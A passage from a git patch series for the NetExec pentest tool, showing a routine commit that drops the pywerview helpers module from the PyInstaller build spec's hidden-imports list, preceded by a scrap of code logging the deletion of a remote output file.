sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") From 2747f1efd8c0cae4b41d6a50ae7735e4167225fc Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Tue, 1 Apr 2025 00:43:53 +0200 Subject: [PATCH 376/376] remove pywerview from spec Signed-off-by: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> --- netexec.spec | 1 - 1 file changed, 1 deletion(-) diff --git a/netexec.spec b/netexec.spec index 8b8b3c98..dfb0d7ba 100644 --- a/netexec.spec +++ b/netexec.spec @@ -48,7 +48,6 @@ a = Analysis( 'nxc.helpers.ntlm_parser', 'paramiko', 'pypsrp.client', - 'pywerview.cli.helpers', 'pylnk3', 'pypykatz', 'pyNfsClient',